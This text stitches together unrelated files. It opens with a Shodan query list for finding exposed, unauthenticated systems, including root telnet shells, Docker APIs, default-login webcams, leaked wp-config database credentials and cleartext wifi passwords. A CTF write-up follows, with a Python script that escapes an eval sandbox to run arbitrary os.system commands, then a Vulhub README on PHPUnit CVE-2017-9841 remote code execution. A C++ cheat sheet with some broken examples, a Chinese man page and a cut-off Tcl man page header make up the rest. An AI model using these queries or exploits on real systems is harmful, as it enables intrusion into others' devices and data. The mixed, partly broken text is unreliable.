title:"Weave Scope" http.favicon.hash:567176827 ``` ### MongoDB Older versions were insecure by default. Very scary. ``` "MongoDB Server Information" port:27017 -authentication ``` ### Mongo Express Web GUI Like the infamous phpMyAdmin but for MongoDB. ``` "Set-Cookie: mongo-express=" "200 OK" ``` ### Jenkins CI ``` "X-Jenkins" "Set-Cookie: JSESSIONID" http.title:"Dashboard" ``` ### Jenkins: Jenkins Unrestricted Dashboard ``` x-jenkins 200 ``` ### Docker APIs ``` "Docker Containers:" port:2375 ``` ### Docker Private Registries ``` "Docker-Distribution-Api-Version: registry" "200 OK" -gitlab ``` ### Pi-hole Open DNS Servers ``` "dnsmasq-pi-hole" "Recursion: enabled" ``` ### Already Logged-In as root via Telnet ``` "root@" port:23 -login -password -name -Session ``` ### Telnet Access: NO password required for telnet access. ``` port:23 console gateway ``` ### Polycom video-conference system no-auth shell ``` "polycom command shell" ``` ### NPort serial-to-eth / MoCA devices without password ``` nport -keyin port:23 ``` ### Android Root Bridges A tangential result of Google's sloppy fractured update approach. ``` "Android Debug Bridge" "Device" port:5555 ``` ### Lantronix Serial-to-Ethernet Adapter Leaking Telnet Passwords ``` Lantronix password port:30718 -secured ``` ### Citrix Virtual Apps ``` "Citrix Applications:" port:1604 ``` ### Cisco Smart Install Vulnerable (kind of "by design," but especially when exposed). ``` "smart install client active" ``` ### PBX IP Phone Gateways ``` PBX "gateway console" -password port:23 ``` ### Polycom Video Conferencing ``` http.title:"- Polycom" "Server: lighttpd" "Polycom Command Shell" -failed port:23 ``` ### Telnet Configuration: ``` "Polycom Command Shell" -failed port:23 ``` ### Bomgar Help Desk Portal ``` "Server: Bomgar" "200 OK" ``` ### Intel Active Management CVE-2017-5689 ``` "Intel(R) Active Management Technology" port:623,664,16992,16993,16994,16995 "Active Management Technology" ``` ### HP iLO 4 CVE-2017-12542 ``` HP-ILO-4 !"HP-ILO-4/2.53" !"HP-ILO-4/2.54" !"HP-ILO-4/2.55" !"HP-ILO-4/2.60" !"HP-ILO-4/2.61" !"HP-ILO-4/2.62" !"HP-iLO-4/2.70" port:1900 ``` ### Lantronix ethernet adapter’s admin interface without password ``` "Press Enter for Setup Mode port:9999" ``` ### Wifi Passwords: Helps to find the cleartext wifi passwords in Shodan. ``` html:"def_wirelesspassword" ``` ### Misconfigured Wordpress Sites: The wp-config.php if accessed can give out the database credentials. ``` http.html:"* The wp-config.php creation script uses this file" ``` ## Outlook Web Access: ### Exchange 2007 ``` "x-owa-version" "IE=EmulateIE7" "Server: Microsoft-IIS/7.0" ``` ### Exchange 2010 ``` "x-owa-version" "IE=EmulateIE7" http.favicon.hash:442749392 ``` ### Exchange 2013 / 2016 ``` "X-AspNet-Version" http.title:"Outlook" -"x-owa-version" ``` ### Lync / Skype for Business ``` "X-MS-Server-Fqdn" ``` ## Network Attached Storage (NAS) ### SMB (Samba) File Shares Produces ~500,000 results...narrow down by adding "Documents" or "Videos", etc. ``` "Authentication: disabled" port:445 ``` ### Specifically domain controllers: ``` "Authentication: disabled" NETLOGON SYSVOL -unix port:445 ``` ### Concerning default network shares of QuickBooks files: ``` "Authentication: disabled" "Shared this folder to access QuickBooks files OverNetwork" -unix port:445 ``` ### FTP Servers with Anonymous Login ``` "220" "230 Login successful." port:21 ``` ### Iomega / LenovoEMC NAS Drives ``` "Set-Cookie: iomega=" -"manage/login.html" -http.title:"Log In" ``` ### Buffalo TeraStation NAS Drives ``` Redirecting sencha port:9000 ``` ### Logitech Media Servers ``` "Server: Logitech Media Server" "200 OK" ``` ### Plex Media Servers ``` "X-Plex-Protocol" "200 OK" port:32400 ``` ### Tautulli / PlexPy Dashboards ``` "CherryPy/5.1.0" "/home" ``` ### Home router attached USB ``` "IPC$ all storage devices" ``` ## Webcams ### D-Link webcams ``` "d-Link Internet Camera, 200 OK" ``` ### Hipcam ``` "Hipcam RealServer/V1.0" ``` ### Yawcams ``` "Server: yawcam" "Mime-Type: text/html" ``` ### webcamXP/webcam7 ``` ("webcam 7" OR "webcamXP") http.component:"mootools" -401 ``` ### Android IP Webcam Server ``` "Server: IP Webcam Server" "200 OK" ``` ### Security DVRs ``` html:"DVR_H264 ActiveX" ``` ### Surveillance Cams: With username:admin and password: :P ``` NETSurveillance uc-httpd Server: uc-httpd 1.0.0 ``` ## Printers & Copiers: ### HP Printers ``` "Serial Number:" "Built:" "Server: HP HTTP" ``` ### Xerox Copiers/Printers ``` ssl:"Xerox Generic Root" ``` ### Epson Printers ``` "SERVER: EPSON_Linux UPnP" "200 OK" "Server: EPSON-HTTP" "200 OK" ``` ### Canon Printers ``` "Server: KS_HTTP" "200 OK" "Server: CANON HTTP Server" ``` ## Home Devices ### Yamaha Stereos ``` "Server: AV_Receiver" "HTTP/1.1 406" ``` ### Apple AirPlay Receivers Apple TVs, HomePods, etc. ``` "\x08_airplay" port:5353 ``` ### Chromecasts / Smart TVs ``` "Chromecast:" port:8008 ``` ### Crestron Smart Home Controllers ``` "Model: PYNG-HUB" ``` ## Random Stuff ### OctoPrint 3D Printer Controllers ``` title:"OctoPrint" -title:"Login" http.favicon.hash:1307375944 ``` ### Etherium Miners ``` "ETH - Total speed" ``` ### Apache Directory Listings Substitute .pem with any extension or a filename like phpinfo.php. ``` http.title:"Index of /" http.html:".pem" ``` ### Misconfigured WordPress Exposed wp-config.php files containing database credentials. ``` http.html:"* The wp-config.php creation script uses this file" ``` ### Too Many Minecraft Servers ``` "Minecraft Server" "protocol 340" port:25565 ``` ### Literally Everything in North Korea ``` net:175.45.176.0/22,210.52.109.0/24,77.94.35.0/24 ```
sec-knowleage
# Gibson9000 - Pwn (100 + 0), 15 solves > Can you program our new line of Gibson 9000 Calcumatron CPUs? In this task we were given a short `README` file describing a custom computer architecture, and a `host:port` running an emulator for the arch. The description hinted at possibility of the bug in the emulator ("emulator was written by an intern"). The opcodes were as follows: - `*x` - *dptr += x - `+x` - dptr += x - `_x` - some conditional jump, didn't need it - `Xx` - print (zero-terminated?) string at dptr - `Mx` - heat -= 1 - `Dx` - toggle debug There was only limited RAM (128 bytes), so we immediately thought about the boundary conditions (what if dptr goes over or under the range 0-127). It seems all of these were taken into account though. After an hour of sending random stuff, we managed to crash the emulator. The smallest reproducible example was `*7*6X0`, which meant (ADD 7, ADD 6, print dptr). The emulator sends the following output: ``` Input your calculatory opcodez: *7*6X0 Result: Traceback (most recent call last): File "/home/ctf/chal.py", line 129, in <module> dostep() File "/home/ctf/chal.py", line 104, in dostep print eval('"' + s + '"') File "<string>", line 1 " ^ SyntaxError: EOL while scanning string literal ``` Looks like our string to be printed is evaluated? What the hell. The crash was because our string in this case was `\r`, which may count as ending the line. The path to solution is now obvious. Escape the sandbox via sending quote char, then some `__import__('os').system('ls')` or whatever. This simple script allowed us to easily execute arbitrary commands on server: ```python import sys def build_char(c): c = ord(c) s = "" while c >= 7: s += "*7" s += "M0" * 7 c -= 7 s += "*%d" % c s += "M0" * 7 s += "+1" s += "M0" * 7 return s total = "" for c in '''"+__import__("os").system("%s")#''' % sys.argv[1]: total += build_char(c) print total + "X0" ```
sec-knowleage
# PHPUnit Remote Code Execution (CVE-2017-9841) [中文版本(Chinese version)](README.zh-cn.md) PHPUnit is a programmer-oriented testing framework for PHP. `Util/PHP/eval-stdin.php` in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a `<?php` substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the `/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php` URI. The `Util/PHP/eval-stdin.php`'s vulnerable code: ```php eval('?>'.file_get_contents('php://input')); ``` Reference links: - http://web.archive.org/web/20170701212357/http://phpunit.vulnbusters.com/ - https://www.ovh.com/blog/cve-2017-9841-what-is-it-and-how-do-we-protect-our-customers/ ## Vulnerable environment Execute following command to start a Apache web server, which contains the PHPUnit 5.6.2 in the Web directory. ``` docker compose up -d ``` Open the `http://your-ip:8080` to see the index page util Web server is running. ## Exploit Send the request to `http://your-ip:8080/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`, which contains any PHP code within the body: ![](1.png)
sec-knowleage
.\" Copyright (c) 1993 Michael Haardt (michael@moria.de), .\" Fri Apr 2 11:32:09 MET DST 1993 .\" .\" %%%LICENSE_START(GPLv2+_DOC_FULL) .\" This is free documentation; you can redistribute it and/or .\" modify it under the terms of the GNU General Public License as .\" published by the Free Software Foundation; either version 2 of .\" the License, or (at your option) any later version. .\" .\" The GNU General Public License's references to "object code" .\" and "executables" are to be interpreted as the output of any .\" document formatting or typesetting system, including .\" intermediate and printed output. .\" .\" This manual is distributed in the hope that it will be useful, .\" but WITHOUT ANY WARRANTY; without even the implied warranty of .\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the .\" GNU General Public License for more details. .\" .\" You should have received a copy of the GNU General Public .\" License along with this manual; if not, see .\" <http://www.gnu.org/licenses/>. .\" %%%LICENSE_END .\" .\" Modified Sat Jul 24 17:19:57 1993 by Rik Faith (faith@cs.unc.edu) .TH INTRO 6 2007-10-23 "Linux" "Linux Programmer's Manual" .SH 名称 intro \- 对游戏的介绍 .SH 描述 手册的第六部分描述了系统上可用的游戏和有趣的小程序。 .SH 注意 .SS 作者和版权状态 请参考手册页的源代码头部以了解其作者和版权信息。 请注意,这些信息对每个手册页都可能不同! .SH 注记 本页面是 Linux .I man-pages 项目 5.06 版的一部分。 您可以在 \%https://www.kernel.org/doc/man\-pages/. 找到本项目的描述信息、报告错误的方式及最新版本。
sec-knowleage
--- title: C++ date: 2021-06-01 11:51:44 background: bg-[#6d94c7] tags: categories: - Programming intro: | C++ quick reference cheat sheet that provides basic syntax and methods. plugins: - copyCode --- Getting Started -------- ### hello.cpp ```cpp #include <iostream> int main() { std::cout << "Hello QuickRef\n"; return 0; } ``` Compiling and running ```shell script $ g++ hello.cpp -o hello $ ./hello Hello QuickRef ``` ### Variables ```cpp int number = 5; // Integer float f = 0.95; // Floating number double PI = 3.14159; // Floating number char yes = 'Y'; // Character std::string s = "ME"; // String (text) bool isRight = true; // Boolean // Constants const float RATE = 0.8; ``` ---- ```cpp int age {25}; // Since C++11 std::cout << age; // Print 25 ``` ### Primitive Data Types | Data Type | Size | Range | |-----------|----------------|---------------------| | `int` | 4 bytes | -2^31^ ^to^ 2^31^-1 | | `float` | 4 bytes | _N/A_ | | `double` | 8 bytes | _N/A_ | | `char` | 1 byte | -128 ^to^ 127 | | `bool` | 1 byte | true / false | | `void` | _N/A_ | _N/A_ | | `wchar_t` | 2 ^or^ 4 bytes | 1 wide character | {.show-header} ### User Input ```cpp int num; std::cout << "Type a number: "; std::cin >> num; std::cout << "You entered " << num; ``` ### Swap ```cpp int a = 5, b = 10; std::swap(a, b); // Outputs: a=10, b=5 std::cout << "a=" << a << ", b=" << b; ``` ### Comments ```cpp // A single one line comment in C++ /* This is a multiple line comment in C++ */ ``` ### If statement ```cpp if (a == 10) { // do something } ``` See: [Conditionals](#c-conditionals) ### Loops ```cpp for (int i = 0; i < 10; i++) { std::cout << i << "\n"; } ``` See: [Loops](#c-loops) ### Functions ```cpp #include <iostream> void hello(); // Declaring int main() { // main function hello(); // Calling } void hello() { // Defining std::cout << "Hello QuickRef!\n"; } ``` See: [Functions](#c-functions) ### References ```cpp int i = 1; int& ri = i; // ri is a reference to i ri = 2; // i is now changed to 2 std::cout << "i=" << i; i = 3; // i is now changed to 3 std::cout << "ri=" << ri; ``` `ri` and `i` refer to the same memory location. ### Namespaces ```cpp #include <iostream> namespace ns1 {int val(){return 5;}} int main() { std::cout << ns1::val(); } ``` --- ```cpp #include <iostream> namespace ns1 {int val(){return 5;}} using namespace ns1; using namespace std; int main() { cout << val(); } ``` Namespaces allow global identifiers under a name C++ Arrays ------ ### Declaration ```cpp std::array<int, 3> marks; // Definition marks[0] = 92; marks[1] = 97; marks[2] = 98; // Define and initialize std::array<int, 3> = {92, 97, 98}; // With empty members std::array<int, 3> marks = {92, 97}; std::cout << marks[2]; // Outputs: 0 ``` ### Manipulation ```cpp ┌─────┬─────┬─────┬─────┬─────┬─────┐ | 92 | 97 | 98 | 99 | 98 | 94 | └─────┴─────┴─────┴─────┴─────┴─────┘ 0 1 2 3 4 5 ``` --- ```cpp std::array<int, 6> marks = {92, 97, 98, 99, 98, 94}; // Print first element std::cout << marks[0]; // Change 2th element to 99 marks[1] = 99; // Take input from the user std::cin >> marks[2]; ``` ### Displaying ```cpp char ref[5] = {'R', 'e', 'f'}; // Range based for loop for (const int &n : ref) { std::cout << std::string(1, n); } // Traditional for loop for (int i = 0; i < sizeof(ref); ++i) { std::cout << ref[i]; } ``` ### Multidimensional ```cpp j0 j1 j2 j3 j4 j5 ┌────┬────┬────┬────┬────┬────┐ i0 | 1 | 2 | 3 | 4 | 5 | 6 | ├────┼────┼────┼────┼────┼────┤ i1 | 6 | 5 | 4 | 3 | 2 | 1 | └────┴────┴────┴────┴────┴────┘ ``` --- ```cpp int x[2][6] = { {1,2,3,4,5,6}, {6,5,4,3,2,1} }; for (int i = 0; i < 2; ++i) { for (int j = 0; j < 6; ++j) { std::cout << x[i][j] << " "; } } // Outputs: 1 2 3 4 5 6 6 5 4 3 2 1 ``` C++ Conditionals ------------ ### If Clause ```cpp if (a == 10) { // do something } ``` --- ```cpp int number = 16; if (number % 2 == 0) { std::cout << "even"; } else { std::cout << "odd"; } // Outputs: even ``` ### Else if Statement ```cpp int score = 99; if (score == 100) { std::cout << "Superb"; } else if (score >= 90) { std::cout << "Excellent"; } else if (score >= 80) { std::cout << "Very Good"; } else if (score >= 70) { std::cout << "Good"; } else if (score >= 60) std::cout << "OK"; else std::cout << "What?"; ``` ### Operators {.row-span-2} #### Relational Operators | | | |----------|------------------------------| | `a == b` | a is equal to b | | `a != b` | a is NOT equal to b | | `a < b` | a is less than b | | `a > b` | a is greater b | | `a <= b` | a is less than or equal to b | | `a >= b` | a is greater or equal to b | #### Assignment Operators | Example | Equivalent to | |----------|-----------------| | `a += b` | _Aka_ a = a + b | | `a -= b` | _Aka_ a = a - b | | `a *= b` | _Aka_ a = a * b | | `a /= b` | _Aka_ a = a / b | | `a %= b` | _Aka_ a = a % b | #### Logical Operators | Example | Meaning | |----------------|------------------------| | `exp1 && exp2` | Both are true _(AND)_ | | `exp1 || exp2` | Either is true _(OR)_ | | `!exp` | `exp` is false _(NOT)_ | #### Bitwise Operators | Operator | Description | |----------|-------------------------| | `a & b` | Binary AND | | `a | b` | Binary OR | | `a ^ b` | Binary XOR | | `~ a` | Binary One's Complement | | `a << b` | Binary Shift Left | | `a >> b` | Binary Shift Right | ### Ternary Operator ``` ┌── True ──┐ Result = Condition ? Exp1 : Exp2; └───── False ─────┘ ``` --- ```cpp int x = 3, y = 5, max; max = (x > y) ? x : y; // Outputs: 5 std::cout << max << std::endl; ``` --- ```cpp int x = 3, y = 5, max; if (x > y) { max = x; } else { max = y; } // Outputs: 5 std::cout << max << std::endl; ``` ### Switch Statement ```cpp int num = 2; switch (num) { case 0: std::cout << "Zero"; break; case 1: std::cout << "One"; break; case 2: std::cout << "Two"; break; case 3: std::cout << "Three"; break; default: std::cout << "What?"; break; } ``` C++ Loops ------------ ### While ```cpp int i = 0; while (i < 6) { std::cout << i++; } // Outputs: 012345 ``` ### Do-while ```cpp int i = 1; do { std::cout << i++; } while (i <= 5); // Outputs: 12345 ``` ### Continue statements ```cpp for (int i = 0; i < 10; i++) { if (i % 2 == 0) { continue; } std::cout << i; } // Outputs: 13579 ``` ### Infinite loop ```cpp while (true) { // true or 1 std::cout << "infinite loop"; } ``` --- ```cpp for (;;) { std::cout << "infinite loop"; } ``` --- ```cpp for(int i = 1; i > 0; i++) { std::cout << "infinite loop"; } ``` ### for_each (Since C++11) ```cpp #include <iostream> int main() { auto print = [](int num) { std::cout << num << std::endl; }; std::array<int, 4> arr = {1, 2, 3, 4}; std::for_each(arr.begin(), arr.end(), print); return 0; } ``` ### Range-based (Since C++11) ```cpp for (int n : {1, 2, 3, 4, 5}) { std::cout << n << " "; } // Outputs: 1 2 3 4 5 ``` --- ```cpp std::string hello = "QuickRef.ME"; for (char c: hello) { std::cout << c << " "; } // Outputs: Q u i c k R e f . M E ``` ### Break statements ```cpp int password, times = 0; while (password != 1234) { if (times++ >= 3) { std::cout << "Locked!\n"; break; } std::cout << "Password: "; std::cin >> password; // input } ``` ### Several variations ```cpp for (int i = 0, j = 2; i < 3; i++, j--){ std::cout << "i=" << i << ","; std::cout << "j=" << j << ";"; } // Outputs: i=0,j=2;i=1,j=1;i=2,j=0; ``` C++ Functions ------------ ### Arguments & Returns ```cpp #include <iostream> int add(int a, int b) { return a + b; } int main() { std::cout << add(10, 20); } ``` `add` is a function taking 2 ints and returning int ### Overloading ```cpp void fun(string a, string b) { std::cout << a + " " + b; } void fun(string a) { std::cout << a; } void fun(int a) { std::cout << a; } ``` ### Built-in Functions ```cpp #include <iostream> #include <cmath> // import library int main() { // sqrt() is from cmath std::cout << sqrt(9); } ``` C++ Classes & Objects {.cols-2} ----------------- ### Defining a Class ```cpp class MyClass { public: // Access specifier int myNum; // Attribute (int variable) string myString; // Attribute (string variable) }; ``` ### Creating an Object ```cpp MyClass myObj; // Create an object of MyClass myObj.myNum = 15; // Set the value of myNum to 15 myObj.myString = "Hello"; // Set the value of myString to "Hello" cout << myObj.myNum << endl; // Output 15 cout << myObj.myString << endl; // Output "Hello" ``` ### Constructors ```cpp class MyClass { public: int myNum; string myString; MyClass() { // Constructor myNum = 0; myString = ""; } }; MyClass myObj; // Create an object of MyClass cout << myObj.myNum << endl; // Output 0 cout << myObj.myString << endl; // Output "" ``` ### Destructors ```cpp class MyClass { public: int myNum; string myString; MyClass() { // Constructor myNum = 0; myString = ""; } ~MyClass() { // Destructor cout << "Object destroyed." << endl; } }; MyClass myObj; // Create an object of MyClass // Code here... // Object is destroyed automatically when the program exits the scope ``` ### Class Methods ```cpp class MyClass { public: int myNum; string myString; void myMethod() { // Method/function defined inside the class cout << "Hello World!" << endl; } }; MyClass myObj; // Create an object of MyClass myObj.myMethod(); // Call the method ``` ### Access Modifiers ```cpp class MyClass { public: // Public access specifier int x; // Public attribute private: // Private access specifier int y; // Private attribute protected: // Protected access specifier int z; // Protected attribute }; MyClass myObj; myObj.x = 25; // Allowed (public) myObj.y = 50; // Not allowed (private) myObj.z = 75; // Not allowed (protected) ``` ### Getters and Setters ```cpp class MyClass { private: int myNum; public: void setMyNum(int num) { // Setter myNum = num; } int getMyNum() { // Getter return myNum; } }; MyClass myObj; myObj.setMyNum(15); // Set the value of myNum to 15 cout << myObj.getMyNum() << endl; // Output 15 ``` ### Inheritance ```cpp class Vehicle { public: string brand = "Ford"; void honk() { cout << "Tuut, tuut!" << endl; } }; class Car : public Vehicle { public: string model = "Mustang"; }; Car myCar; myCar.honk(); // Output "Tuut, tuut!" cout << myCar.brand + " " + myCar.model << endl; // Output "Ford Mustang" ``` C++ Preprocessor ------------ ### Preprocessor {.row-span-3} - [if](https://en.cppreference.com/w/cpp/preprocessor/conditional) - [elif](https://en.cppreference.com/w/cpp/preprocessor/conditional) - [else](https://en.cppreference.com/w/cpp/preprocessor/conditional) - [endif](https://en.cppreference.com/w/cpp/preprocessor/conditional) - [ifdef](https://en.cppreference.com/w/cpp/preprocessor/conditional) - [ifndef](https://en.cppreference.com/w/cpp/preprocessor/conditional) - [define](https://en.cppreference.com/w/cpp/preprocessor/replace) - [undef](https://en.cppreference.com/w/cpp/preprocessor/replace) - [include](https://en.cppreference.com/w/cpp/preprocessor/include) - [line](https://en.cppreference.com/w/cpp/preprocessor/line) - [error](https://en.cppreference.com/w/cpp/preprocessor/error) - [pragma](https://en.cppreference.com/w/cpp/preprocessor/impl) - [defined](https://en.cppreference.com/w/cpp/preprocessor/conditional) - [__has_include](https://en.cppreference.com/w/cpp/feature_test) - [__has_cpp_attribute](https://en.cppreference.com/w/cpp/feature_test) - [export](https://en.cppreference.com/w/cpp/keyword/export) - [import](https://en.cppreference.com/mwiki/index.php?title=cpp/keyword/import&amp;action=edit&amp;redlink=1) - [module](https://en.cppreference.com/mwiki/index.php?title=cpp/keyword/module&amp;action=edit&amp;redlink=1) {.marker-none .cols-2} ### Includes ```cpp #include "iostream" #include <iostream> ``` ### Defines ```cpp #define FOO #define FOO "hello" #undef FOO ``` ### If {.row-span-2} ```cpp #ifdef DEBUG console.log('hi'); #elif defined VERBOSE ... #else ... #endif ``` ### Error ```cpp #if VERSION == 2.0 #error Unsupported #warning Not really supported #endif ``` ### Macro ```cpp #define DEG(x) ((x) * 57.29) ``` ### Token concat ```cpp #define DST(name) name##_s name##_t DST(object); #=> object_s object_t; ``` ### Stringification ```cpp #define STR(name) #name char * a = STR(object); #=> char * a = "object"; ``` ### file and line ```cpp #define LOG(msg) console.log(__FILE__, __LINE__, msg) #=> console.log("file.txt", 3, "hey") ``` Miscellaneous ------------- ### Escape Sequences | Escape Sequences | Characters | |------------------|-----------------------| | `\b` | Backspace | | `\f` | Form feed | | `\n` | Newline | | `\r` | Return | | `\t` | Horizontal tab | | `\v` | Vertical tab | | `\\` | Backslash | | `\'` | Single quotation mark | | `\"` | Double quotation mark | | `\?` | Question mark | | `\0` | Null Character | ### Keywords {.col-span-2 .row-span-2} - [alignas](https://en.cppreference.com/w/cpp/keyword/alignas) - [alignof](https://en.cppreference.com/w/cpp/keyword/alignof) - [and](https://en.cppreference.com/w/cpp/keyword/and) - [and_eq](https://en.cppreference.com/w/cpp/keyword/and_eq) - [asm](https://en.cppreference.com/w/cpp/keyword/asm) - [atomic_cancel](https://en.cppreference.com/w/cpp/keyword/atomic_cancel) - [atomic_commit](https://en.cppreference.com/w/cpp/keyword/atomic_commit) - [atomic_noexcept](https://en.cppreference.com/w/cpp/keyword/atomic_noexcept) - [auto](https://en.cppreference.com/w/cpp/keyword/auto) - [bitand](https://en.cppreference.com/w/cpp/keyword/bitand) - [bitor](https://en.cppreference.com/w/cpp/keyword/bitor) - [bool](https://en.cppreference.com/w/cpp/keyword/bool) - [break](https://en.cppreference.com/w/cpp/keyword/break) - [case](https://en.cppreference.com/w/cpp/keyword/case) - [catch](https://en.cppreference.com/w/cpp/keyword/catch) - [char](https://en.cppreference.com/w/cpp/keyword/char) - [char8_t](https://en.cppreference.com/w/cpp/keyword/char8_t) - [char16_t](https://en.cppreference.com/w/cpp/keyword/char16_t) - [char32_t](https://en.cppreference.com/w/cpp/keyword/char32_t) - [class](https://en.cppreference.com/w/cpp/keyword/class) - [compl](https://en.cppreference.com/w/cpp/keyword/compl) - [concept](https://en.cppreference.com/w/cpp/keyword/concept) - [const](https://en.cppreference.com/w/cpp/keyword/const) - [consteval](https://en.cppreference.com/w/cpp/keyword/consteval) - [constexpr](https://en.cppreference.com/w/cpp/keyword/constexpr) - [constinit](https://en.cppreference.com/w/cpp/keyword/constinit) - [const_cast](https://en.cppreference.com/w/cpp/keyword/const_cast) - [continue](https://en.cppreference.com/w/cpp/keyword/continue) - [co_await](https://en.cppreference.com/w/cpp/keyword/co_await) - [co_return](https://en.cppreference.com/w/cpp/keyword/co_return) - [co_yield](https://en.cppreference.com/w/cpp/keyword/co_yield) - [decltype](https://en.cppreference.com/w/cpp/keyword/decltype) - [default](https://en.cppreference.com/w/cpp/keyword/default) - [delete](https://en.cppreference.com/w/cpp/keyword/delete) - [do](https://en.cppreference.com/w/cpp/keyword/do) - [double](https://en.cppreference.com/w/cpp/keyword/double) - [dynamic_cast](https://en.cppreference.com/w/cpp/keyword/dynamic_cast) - [else](https://en.cppreference.com/w/cpp/keyword/else) - [enum](https://en.cppreference.com/w/cpp/keyword/enum) - [explicit](https://en.cppreference.com/w/cpp/keyword/explicit) - [export](https://en.cppreference.com/w/cpp/keyword/export) - [extern](https://en.cppreference.com/w/cpp/keyword/extern) - [false](https://en.cppreference.com/w/cpp/keyword/false) - [float](https://en.cppreference.com/w/cpp/keyword/float) - [for](https://en.cppreference.com/w/cpp/keyword/for) - [friend](https://en.cppreference.com/w/cpp/keyword/friend) - [goto](https://en.cppreference.com/w/cpp/keyword/goto) - [if](https://en.cppreference.com/w/cpp/keyword/if) - [inline](https://en.cppreference.com/w/cpp/keyword/inline) - [int](https://en.cppreference.com/w/cpp/keyword/int) - [long](https://en.cppreference.com/w/cpp/keyword/long) - [mutable](https://en.cppreference.com/w/cpp/keyword/mutable) - [namespace](https://en.cppreference.com/w/cpp/keyword/namespace) - [new](https://en.cppreference.com/w/cpp/keyword/new) - [noexcept](https://en.cppreference.com/w/cpp/keyword/noexcept) - [not](https://en.cppreference.com/w/cpp/keyword/not) - [not_eq](https://en.cppreference.com/w/cpp/keyword/not_eq) - [nullptr](https://en.cppreference.com/w/cpp/keyword/nullptr) - [operator](https://en.cppreference.com/w/cpp/keyword/operator) - [or](https://en.cppreference.com/w/cpp/keyword/or) - [or_eq](https://en.cppreference.com/w/cpp/keyword/or_eq) - [private](https://en.cppreference.com/w/cpp/keyword/private) - [protected](https://en.cppreference.com/w/cpp/keyword/protected) - [public](https://en.cppreference.com/w/cpp/keyword/public) - [reflexpr](https://en.cppreference.com/w/cpp/keyword/reflexpr) - [register](https://en.cppreference.com/w/cpp/keyword/register) - [reinterpret_cast](https://en.cppreference.com/w/cpp/keyword/reinterpret_cast) - [requires](https://en.cppreference.com/w/cpp/keyword/requires) - [return](https://en.cppreference.com/w/cpp/language/return) - [short](https://en.cppreference.com/w/cpp/keyword/short) - [signed](https://en.cppreference.com/w/cpp/keyword/signed) - [sizeof](https://en.cppreference.com/w/cpp/keyword/sizeof) - [static](https://en.cppreference.com/w/cpp/keyword/static) - [static_assert](https://en.cppreference.com/w/cpp/keyword/static_assert) - [static_cast](https://en.cppreference.com/w/cpp/keyword/static_cast) - [struct](https://en.cppreference.com/w/cpp/keyword/struct) - [switch](https://en.cppreference.com/w/cpp/keyword/switch) - [synchronized](https://en.cppreference.com/w/cpp/keyword/synchronized) - [template](https://en.cppreference.com/w/cpp/keyword/template) - [this](https://en.cppreference.com/w/cpp/keyword/this) - [thread_local](https://en.cppreference.com/w/cpp/keyword/thread_local) - [throw](https://en.cppreference.com/w/cpp/keyword/throw) - [true](https://en.cppreference.com/w/cpp/keyword/true) - [try](https://en.cppreference.com/w/cpp/keyword/try) - [typedef](https://en.cppreference.com/w/cpp/keyword/typedef) - [typeid](https://en.cppreference.com/w/cpp/keyword/typeid) - [typename](https://en.cppreference.com/w/cpp/keyword/typename) - [union](https://en.cppreference.com/w/cpp/keyword/union) - [unsigned](https://en.cppreference.com/w/cpp/keyword/unsigned) - [using](https://en.cppreference.com/w/cpp/keyword/using) - [virtual](https://en.cppreference.com/w/cpp/keyword/virtual) - [void](https://en.cppreference.com/w/cpp/keyword/void) - [volatile](https://en.cppreference.com/w/cpp/keyword/volatile) - [wchar_t](https://en.cppreference.com/w/cpp/keyword/wchar_t) - [while](https://en.cppreference.com/w/cpp/keyword/while) - [xor](https://en.cppreference.com/w/cpp/keyword/xor) - [xor_eq](https://en.cppreference.com/w/cpp/keyword/xor_eq) - [final](https://en.cppreference.com/w/cpp/language/final) - [override](https://en.cppreference.com/w/cpp/language/override) - [transaction_safe](https://en.cppreference.com/w/cpp/language/transactional_memory) - [transaction_safe_dynamic](https://en.cppreference.com/w/cpp/language/transactional_memory) {.marker-none .cols-5} ### Preprocessor - [if](https://en.cppreference.com/w/cpp/preprocessor/conditional) - [elif](https://en.cppreference.com/w/cpp/preprocessor/conditional) - [else](https://en.cppreference.com/w/cpp/preprocessor/conditional) - [endif](https://en.cppreference.com/w/cpp/preprocessor/conditional) - [ifdef](https://en.cppreference.com/w/cpp/preprocessor/conditional) - [ifndef](https://en.cppreference.com/w/cpp/preprocessor/conditional) - [define](https://en.cppreference.com/w/cpp/preprocessor/replace) - [undef](https://en.cppreference.com/w/cpp/preprocessor/replace) - [include](https://en.cppreference.com/w/cpp/preprocessor/include) - [line](https://en.cppreference.com/w/cpp/preprocessor/line) - [error](https://en.cppreference.com/w/cpp/preprocessor/error) - [pragma](https://en.cppreference.com/w/cpp/preprocessor/impl) - [defined](https://en.cppreference.com/w/cpp/preprocessor/conditional) - [__has_include](https://en.cppreference.com/w/cpp/feature_test) - [__has_cpp_attribute](https://en.cppreference.com/w/cpp/feature_test) - [export](https://en.cppreference.com/w/cpp/keyword/export) - [import](https://en.cppreference.com/mwiki/index.php?title=cpp/keyword/import&amp;action=edit&amp;redlink=1) - [module](https://en.cppreference.com/mwiki/index.php?title=cpp/keyword/module&amp;action=edit&amp;redlink=1) {.marker-none .cols-2} ## Also see - [C++ Infographics & Cheat Sheets](https://hackingcpp.com/cpp/cheat_sheets.html) _(hackingcpp.com)_ - [C++ reference](https://en.cppreference.com/w/) _(cppreference.com)_ - [C++ Language Tutorials](http://www.cplusplus.com/doc/tutorial/) _(cplusplus.com)_
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: flush.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" 